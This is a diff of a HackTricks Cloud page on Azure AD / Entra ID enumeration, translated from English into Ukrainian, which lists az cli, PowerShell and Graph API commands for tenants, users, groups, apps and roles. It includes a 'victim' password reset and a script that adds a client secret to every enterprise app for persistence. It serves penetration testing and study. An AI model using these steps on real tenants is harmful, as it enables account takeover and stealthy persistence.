The successful execution of this process opens numerous possibilities for further actions, such as credential dumping or expanding the attack to multiple VMs. The guide encourages continued learning and creativity in the realm of Azure Automation DSC.
Успішне виконання цього процесу відкриває численні можливості для подальших дій, таких як витягування облікових даних або розширення атаки на кілька віртуальних машин. Посібник заохочує до продовження навчання та креативності в сфері Azure Automation DSC.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -2,19 +2,18 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
Azure Active Directory (Azure AD) serves as Microsoft's cloud-based service for identity and access management. It is instrumental in enabling employees to sign in and gain access to resources, both within and beyond the organization, encompassing Microsoft 365, the Azure portal, and a multitude of other SaaS applications. The design of Azure AD focuses on delivering essential identity services, prominently including **authentication, authorization, and user management**.
Azure Active Directory (Azure AD) є хмарною службою Microsoft для управління ідентичністю та доступом. Вона є важливою для того, щоб співробітники могли входити в систему та отримувати доступ до ресурсів як всередині, так і за межами організації, включаючи Microsoft 365, портал Azure та безліч інших SaaS-додатків. Дизайн Azure AD зосереджений на наданні основних служб ідентичності, зокрема **автентифікації, авторизації та управління користувачами**.
Key features of Azure AD involve **multi-factor authentication** and **conditional access**, alongside seamless integration with other Microsoft security services. These features significantly elevate the security of user identities and empower organizations to effectively implement and enforce their access policies. As a fundamental component of Microsoft's cloud services ecosystem, Azure AD is pivotal for the cloud-based management of user identities.
Ключові функції Azure AD включають **багатофакторну автентифікацію** та **умовний доступ**, а також безшовну інтеграцію з іншими службами безпеки Microsoft. Ці функції значно підвищують безпеку ідентичностей користувачів і надають організаціям можливість ефективно впроваджувати та забезпечувати свої політики доступу. Як основний компонент екосистеми хмарних служб Microsoft, Azure AD є ключовим для управління ідентичностями користувачів у хмарі.
## Enumeration
## Перерахування
### **Connection**
### **З'єднання**
{{#tabs }}
{{#tab name="az cli" }}
```bash
az login #This will open the browser (if not use --use-device-code)
az login -u <username> -p <password> #Specify user and password
@@ -43,11 +42,9 @@ az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples
```
{{#endtab }}
{{#tab name="Mg" }}
```powershell
# Login Open browser
Connect-MgGraph
@@ -72,11 +69,9 @@ Connect-MgGraph -AccessToken $secureToken
# Find commands
Find-MgGraphCommand -command *Mg*
```
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
Connect-AzAccount #Open browser
# Using credentials
@@ -98,7 +93,7 @@ Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -Accou
# Connect with Service principal/enterprise app secret
$password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force
$creds = New-Object
System.Management.Automation.PSCredential('2923847f-fca2-a420-df10-a01928bec653', $password)
System.Management.Automation.PSCredential('2923847f-fca2-a420-df10-a01928bec653', $password)
Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant 29sd87e56-a192-a934-bca3-0398471ab4e7d
#All the Azure AD cmdlets have the format *-AzAD*
@@ -106,33 +101,29 @@ Get-Command *azad*
#Cmdlets for other Azure resources have the format *Az*
Get-Command *az*
```
{{#endtab }}
{{#tab name="Raw PS" }}
{{#tab name="Сирий PS" }}
```powershell
#Using management
$Token = 'eyJ0eXAi..'
# List subscriptions
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
# Using graph
Invoke-WebRequest -Uri "https://graph.windows.net/myorganization/users?api-version=1.6" -Headers @{Authorization="Bearer {0}" -f $Token}
```
{{#endtab }}
{{#tab name="curl" }}
```bash
# Request tokens to access endpoints
# ARM
@@ -141,11 +132,9 @@ curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-
# Vault
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
```
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
Connect-AzureAD #Open browser
# Using credentials
@@ -157,57 +146,52 @@ Connect-AzureAD -Credential $creds
## AzureAD cannot request tokens, but can use AADGraph and MSGraph tokens to connect
Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
```
{{#endtab }}
{{#endtabs }}
When you **login** via **CLI** into Azure with any program, you are using an **Azure Application** from a **tenant** that belongs to **Microsoft**. These Applications, like the ones you can create in your account, **have a client id**. You **won't be able to see all of them** in the **allowed applications lists** you can see in the console, **but they are allowed by default**.
Коли ви **входите** через **CLI** в Azure з будь-якою програмою, ви використовуєте **Azure Application** з **тенанту**, що належить **Microsoft**. Ці програми, як ті, що ви можете створити у своєму обліковому записі, **мають ідентифікатор клієнта**. Ви **не зможете побачити всі з них** у **списках дозволених програм**, які ви можете побачити в консолі, **але вони дозволені за замовчуванням**.
For example a **powershell script** that **authenticates** use an app with client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Even if the app doesn't appear in the console, a sysadmin could **block that application** so users cannot access using tools that connects via that App.
However, there are **other client-ids** of applications that **will allow you to connect to Azure**:
Наприклад, **скрипт powershell**, який **автентифікує**, використовує додаток з ідентифікатором клієнта **`1950a258-227b-4e31-a9cf-717495945fc2`**. Навіть якщо додаток не з'являється в консолі, системний адміністратор може **заблокувати цю програму**, щоб користувачі не могли отримати доступ, використовуючи інструменти, які підключаються через цей додаток.
Однак є **інші ідентифікатори клієнтів** програм, які **дозволять вам підключитися до Azure**:
```powershell
# The important part is the ClientId, which identifies the application to login inside Azure
$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue
$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue
$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue
```
### Tenants
### Тенанти
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List tenants
az account tenant list
```
{{#endtab }}
{{#endtabs }}
### Users
### Користувачі
For more information about Entra ID users check:
Для отримання додаткової інформації про користувачів Entra ID дивіться:
{{#ref}}
../az-basic-information/
@@ -215,7 +199,6 @@ For more information about Entra ID users check:
{{#tabs }}
{{#tab name="az cli" }}
```bash
# Enumerate users
az ad user list --output table
@@ -245,7 +228,7 @@ az role assignment list --include-inherited --include-groups --include-classic-a
export TOKEN=$(az account get-access-token --resource https://graph.microsoft.com/ --query accessToken -o tsv)
## Get users
curl -X GET "https://graph.microsoft.com/v1.0/users" \
-H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq
-H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq
## Get EntraID roles assigned to an user
curl -X GET "https://graph.microsoft.com/beta/rolemanagement/directory/transitiveRoleAssignments?\$count=true&\$filter=principalId%20eq%20'86b10631-ff01-4e73-a031-29e505565caa'" \
-H "Authorization: Bearer $TOKEN" \
@@ -256,11 +239,9 @@ curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefin
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" | jq
```
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
# Enumerate Users
Get-AzureADUser -All $true
@@ -296,11 +277,9 @@ Get-AzureADUser -ObjectId roygcain@defcorphq.onmicrosoft.com | Get-AzureADUserAp
$userObj = Get-AzureADUser -Filter "UserPrincipalName eq 'bill@example.com'"
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where { $_.Id -eq $userObj.ObjectId } }
```
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
# Enumerate users
Get-AzADUser
@@ -312,21 +291,18 @@ Get-AzADUser | ?{$_.Displayname -match "admin"}
# Get roles assigned to a user
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
```
{{#endtab }}
{{#endtabs }}
#### Change User Password
#### Змінити пароль користувача
```powershell
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText Force
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password Verbose
```
### MFA & Conditional Access Policies
It's highly recommended to add MFA to every user, however, some companies won't set it or might set it with a Conditional Access: The user will be **required MFA if** it logs in from an specific location, browser or **some condition**. These policies, if not configured correctly might be prone to **bypasses**. Check:
Рекомендується додати MFA для кожного користувача, однак деякі компанії можуть не налаштувати його або можуть налаштувати його з умовним доступом: Користувач буде **зобов'язаний використовувати MFA, якщо** він входить з конкретного місця, браузера або **якоїсь умови**. Ці політики, якщо не налаштовані правильно, можуть бути схильні до **обхідних шляхів**. Перевірте:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -334,7 +310,7 @@ It's highly recommended to add MFA to every user, however, some companies won't
### Groups
For more information about Entra ID groups check:
Для отримання додаткової інформації про групи Entra ID дивіться:
{{#ref}}
../az-basic-information/
@@ -342,7 +318,6 @@ For more information about Entra ID groups check:
{{#tabs }}
{{#tab name="az cli" }}
```powershell
# Enumerate groups
az ad group list
@@ -369,11 +344,9 @@ az role assignment list --include-groups --include-classic-administrators true -
# To get Entra ID roles assigned check how it's done with users and use a group ID
```
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
# Enumerate Groups
Get-AzureADGroup -All $true
@@ -399,11 +372,9 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
# Get Apps where a group has a role (role not shown)
Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
```
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
# Get all groups
Get-AzADGroup
@@ -417,21 +388,18 @@ Get-AzADGroupMember -GroupDisplayName <resource_group_name>
# Get roles of group
Get-AzRoleAssignment -ResourceGroupName <resource_group_name>
```
{{#endtab }}
{{#endtabs }}
#### Add user to group
Owners of the group can add new users to the group
#### Додати користувача до групи
Власники групи можуть додавати нових користувачів до групи
```powershell
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
> [!WARNING]
> Groups can be dynamic, which basically means that **if a user fulfil certain conditions it will be added to a group**. Of course, if the conditions are based in **attributes** a **user** can **control**, he could abuse this feature to **get inside other groups**.\
> Check how to abuse dynamic groups in the following page:
> Групи можуть бути динамічними, що в основному означає, що **якщо користувач виконує певні умови, він буде доданий до групи**. Звичайно, якщо умови базуються на **атрибутах**, які **користувач** може **контролювати**, він може зловживати цією функцією, щоб **потрапити до інших груп**.\
> Перевірте, як зловживати динамічними групами на наступній сторінці:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
@@ -439,7 +407,7 @@ Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
### Service Principals
For more information about Entra ID service principals check:
Для отримання додаткової інформації про служби Entra ID перевірте:
{{#ref}}
../az-basic-information/
@@ -447,7 +415,6 @@ For more information about Entra ID service principals check:
{{#tabs }}
{{#tab name="az cli" }}
```bash
# Get Service Principals
az ad sp list --all
@@ -464,11 +431,9 @@ az ad sp list --show-mine
# Get SPs with generated secret or certificate
az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
```
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
# Get Service Principals
Get-AzureADServicePrincipal -All $true
@@ -487,11 +452,9 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalCreatedO
Get-AzureADServicePrincipal | Get-AzureADServicePrincipalMembership
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembership |fl *
```
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
# Get SPs
Get-AzADServicePrincipal
@@ -502,155 +465,149 @@ Get-AzADServicePrincipal | ?{$_.DisplayName -match "app"}
# Get roles of a SP
Get-AzRoleAssignment -ServicePrincipalName <String>
```
{{#endtab }}
{{#tab name="Raw" }}
```powershell
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
```
{{#endtab }}
{{#endtabs }}
> [!WARNING]
> The Owner of a Service Principal can change its password.
> Власник служби Principal може змінити його пароль.
<details>
<summary>List and try to add a client secret on each Enterprise App</summary>
<summary>Список та спроба додати секрет клієнта для кожного корпоративного додатку</summary>
```powershell
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
{
<#
.SYNOPSIS
Add client secret to the applications.
.SYNOPSIS
Add client secret to the applications.
.PARAMETER GraphToken
Pass the Graph API Token
.PARAMETER GraphToken
Pass the Graph API Token
.EXAMPLE
PS C:\> Add-AzADAppSecret -GraphToken 'eyJ0eX..'
.EXAMPLE
PS C:\> Add-AzADAppSecret -GraphToken 'eyJ0eX..'
.LINK
https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http
https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http
.LINK
https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http
https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$True)]
[String]
$GraphToken = $null
)
[CmdletBinding()]
param(
[Parameter(Mandatory=$True)]
[String]
$GraphToken = $null
)
$AppList = $null
$AppPassword = $null
$AppList = $null
$AppPassword = $null
# List All the Applications
# List All the Applications
$Params = @{
"URI" = "https://graph.microsoft.com/v1.0/applications"
"Method" = "GET"
"Headers" = @{
"Content-Type" = "application/json"
"Authorization" = "Bearer $GraphToken"
}
}
$Params = @{
"URI" = "https://graph.microsoft.com/v1.0/applications"
"Method" = "GET"
"Headers" = @{
"Content-Type" = "application/json"
"Authorization" = "Bearer $GraphToken"
}
}
try
{
$AppList = Invoke-RestMethod @Params -UseBasicParsing
}
catch
{
}
try
{
$AppList = Invoke-RestMethod @Params -UseBasicParsing
}
catch
{
}
# Add Password in the Application
# Add Password in the Application
if($AppList -ne $null)
{
[System.Collections.ArrayList]$Details = @()
if($AppList -ne $null)
{
[System.Collections.ArrayList]$Details = @()
foreach($App in $AppList.value)
{
$ID = $App.ID
$psobj = New-Object PSObject
foreach($App in $AppList.value)
{
$ID = $App.ID
$psobj = New-Object PSObject
$Params = @{
"URI" = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword"
"Method" = "POST"
"Headers" = @{
"Content-Type" = "application/json"
"Authorization" = "Bearer $GraphToken"
}
}
$Params = @{
"URI" = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword"
"Method" = "POST"
"Headers" = @{
"Content-Type" = "application/json"
"Authorization" = "Bearer $GraphToken"
}
}
$Body = @{
"passwordCredential"= @{
"displayName" = "Password"
}
}
$Body = @{
"passwordCredential"= @{
"displayName" = "Password"
}
}
try
{
$AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json)
Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID
Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId
Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName
Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId
Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText
$Details.Add($psobj) | Out-Null
}
catch
{
Write-Output "Failed to add new client secret to '$($App.displayName)' Application."
}
}
if($Details -ne $null)
{
Write-Output ""
Write-Output "Client secret added to : "
Write-Output $Details | fl *
}
}
else
{
Write-Output "Failed to Enumerate the Applications."
}
try
{
$AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json)
Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID
Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId
Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName
Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId
Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText
$Details.Add($psobj) | Out-Null
}
catch
{
Write-Output "Failed to add new client secret to '$($App.displayName)' Application."
}
}
if($Details -ne $null)
{
Write-Output ""
Write-Output "Client secret added to : "
Write-Output $Details | fl *
}
}
else
{
Write-Output "Failed to Enumerate the Applications."
}
}
```
</details>
### Applications
### Застосунки
For more information about Applications check:
Для отримання додаткової інформації про Застосунки перегляньте:
{{#ref}}
../az-basic-information/
{{#endref}}
When an App is generated 2 types of permissions are given:
Коли створюється додаток, надаються 2 типи дозволів:
- **Permissions** given to the **Service Principal**
- **Permissions** the **app** can have and use on **behalf of the user**.
- **Дозволи**, надані **Службовому Принципалу**
- **Дозволи**, які **додаток** може мати та використовувати **від імені користувача**.
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List Apps
az ad app list
@@ -666,11 +623,9 @@ az ad app list --show-mine
# Get apps with generated secret or certificate
az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
```
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
# List all registered applications
Get-AzureADApplication -All $true
@@ -681,11 +636,9 @@ Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredentia
# Get owner of an application
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
```
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
# Get Apps
Get-AzADApplication
@@ -696,26 +649,25 @@ Get-AzADApplication | ?{$_.DisplayName -match "app"}
# Get Apps with password
Get-AzADAppCredential
```
{{#endtab }}
{{#endtabs }}
> [!WARNING]
> An app with the permission **`AppRoleAssignment.ReadWrite`** can **escalate to Global Admin** by grating itself the role.\
> For more information [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> Додаток з дозволом **`AppRoleAssignment.ReadWrite`** може **підвищити привілеї до Global Admin**, надавши собі цю роль.\
> Для отримання додаткової інформації [**перевірте це**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> [!NOTE]
> A secret string that the application uses to prove its identity when requesting a token is the application password.\
> So, if find this **password** you can access as the **service principal** **inside** the **tenant**.\
> Note that this password is only visible when generated (you could change it but you cannot get it again).\
> The **owner** of the **application** can **add a password** to it (so he can impersonate it).\
> Logins as these service principals are **not marked as risky** and they **won't have MFA.**
> Секретний рядок, який додаток використовує для підтвердження своєї особи при запиті токена, є паролем додатка.\
> Отже, якщо ви знайдете цей **пароль**, ви зможете отримати доступ як **сервісний принципал** **всередині** **орендаря**.\
> Зверніть увагу, що цей пароль видимий лише під час генерації (ви можете змінити його, але не зможете отримати його знову).\
> **Власник** **додатка** може **додати пароль** до нього (щоб він міг видавати себе за нього).\
> Входи як ці сервісні принципали **не позначаються як ризикові** і **не матимуть MFA.**
It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
Можливо знайти список загальновживаних ID додатків, що належать Microsoft, за адресою [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
### Managed Identities
### Керовані ідентичності
For more information about Managed Identities check:
Для отримання додаткової інформації про Керовані ідентичності перевірте:
{{#ref}}
../az-basic-information/
@@ -723,19 +675,17 @@ For more information about Managed Identities check:
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List all manged identities
az identity list --output table
# With the principal ID you can continue the enumeration in service principals
```
{{#endtab }}
{{#endtabs }}
### Azure Roles
### Azure Ролі
For more information about Azure roles check:
Для отримання додаткової інформації про ролі Azure перегляньте:
{{#ref}}
../az-basic-information/
@@ -743,7 +693,6 @@ For more information about Azure roles check:
{{#tabs }}
{{#tab name="az cli" }}
```bash
# Get roles
az role definition list
@@ -765,11 +714,9 @@ az role assignment list --assignee "<email>" --all --output table
# Get all the roles assigned to a user by filtering
az role assignment list --all --query "[?principalName=='carlos@carloshacktricks.onmicrosoft.com']" --output table
```
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
# Get role assignments on the subscription
Get-AzRoleDefinition
@@ -779,31 +726,28 @@ Get-AzRoleDefinition -Name "Virtual Machine Command Executor"
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res_group_name>/providers/Microsoft.Compute/virtualMachines/<vm_name>
```
{{#endtab }}
{{#tab name="Raw" }}
```powershell
# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
```
{{#endtab }}
{{#endtabs }}
### Entra ID Roles
### Ролі Entra ID
For more information about Azure roles check:
Для отримання додаткової інформації про ролі Azure дивіться:
{{#ref}}
../az-basic-information/
@@ -811,55 +755,52 @@ For more information about Azure roles check:
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List template Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"
# List enabled built-in Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# List all Entra ID roles with their permissions (including custom roles)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"
# List only custom Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# List all assigned Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
# List members of a Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"
# List Entra ID roles assigned to a user
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
# List Entra ID roles assigned to a group
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
# List Entra ID roles assigned to a service principal
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
```
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
# Get all available role templates
Get-AzureADDirectoryroleTemplate
@@ -874,23 +815,19 @@ Get-AzureADDirectoryRole -ObjectId <id> | fl
# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
Get-AzureADMSScopedRoleMembership -Id <id> | fl *
```
{{#endtab }}
{{#endtabs }}
### Devices
### Пристрої
{{#tabs }}
{{#tab name="az cli" }}
```bash
# If you know how to do this send a PR!
```
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
# Enumerate Devices
Get-AzureADDevice -All $true | fl *
@@ -909,17 +846,16 @@ Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Get Administrative Units of a device
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }
```
{{#endtab }}
{{#endtabs }}
> [!WARNING]
> If a device (VM) is **AzureAD joined**, users from AzureAD are going to be **able to login**.\
> Moreover, if the logged user is **Owner** of the device, he is going to be **local admin**.
> Якщо пристрій (VM) **приєднаний до AzureAD**, користувачі з AzureAD зможуть **увійти в систему**.\
> Більше того, якщо увійшовший користувач є **власником** пристрою, він стане **локальним адміністратором**.
### Administrative Units
### Адміністративні одиниці
For more information about administrative units check:
Для отримання додаткової інформації про адміністративні одиниці перегляньте:
{{#ref}}
../az-basic-information/
@@ -927,7 +863,6 @@ For more information about administrative units check:
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List all administrative units
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
@@ -938,11 +873,9 @@ az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administr
# Get principals with roles over the AU
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"
```
{{#endtab }}
{{#tab name="AzureAD" }}
```powershell
# Get Administrative Units
Get-AzureADMSAdministrativeUnit
@@ -954,82 +887,77 @@ Get-AzureADMSAdministrativeUnitMember -Id <id>
# Get the roles users have over the members of the AU
Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
```
{{#endtab }}
{{#endtabs }}
## Entra ID Privilege Escalation
## Entra ID Привілейоване Підвищення
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/
{{#endref}}
## Azure Privilege Escalation
## Azure Привілейоване Підвищення
{{#ref}}
../az-privilege-escalation/az-authorization-privesc.md
{{#endref}}
## Defensive Mechanisms
## Захисні Механізми
### Privileged Identity Management (PIM)
### Управління Привілейованими Ідентичностями (PIM)
Privileged Identity Management (PIM) in Azure helps to **prevent excessive privileges** to being assigned to users unnecessarily.
Управління Привілейованими Ідентичностями (PIM) в Azure допомагає **запобігти надмірним привілеям** для користувачів без необхідності.
One of the main features provided by PIM is that It allows to not assign roles to principals that are constantly active, but make them **eligible for a period of time (e.g. 6months)**. Then, whenever the user wants to activate that role, he needs to ask for it indicating the time he needs the privilege (e.g. 3 hours). Then an **admin needs to approve** the request.\
Note that the user will also be able to ask to **extend** the time.
Однією з основних функцій, які надає PIM, є те, що він дозволяє не призначати ролі принципам, які постійно активні, а робити їх **придатними на певний період часу (наприклад, 6 місяців)**. Тоді, коли користувач хоче активувати цю роль, він повинен попросити про це, вказуючи час, на який йому потрібен привілей (наприклад, 3 години). Потім **адміністратор повинен затвердити** запит.\
Зверніть увагу, що користувач також зможе попросити про **продовження** часу.
Moreover, **PIM send emails** whenever a privileged role is being assigned to someone.
Більше того, **PIM надсилає електронні листи** щоразу, коли привілейована роль призначається комусь.
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
When PIM is enabled it's possible to configure each role with certain requirements like:
Коли PIM увімкнено, можна налаштувати кожну роль з певними вимогами, такими як:
- Maximum duration (hours) of activation
- Require MFA on activation
- Require Conditional Access acuthenticaiton context
- Require justification on activation
- Require ticket information on activation
- Require approval to activate
- Max time to expire the elegible assignments&#x20;
- A lot more configuration on when and who to send notifications when certain actions happen with that role
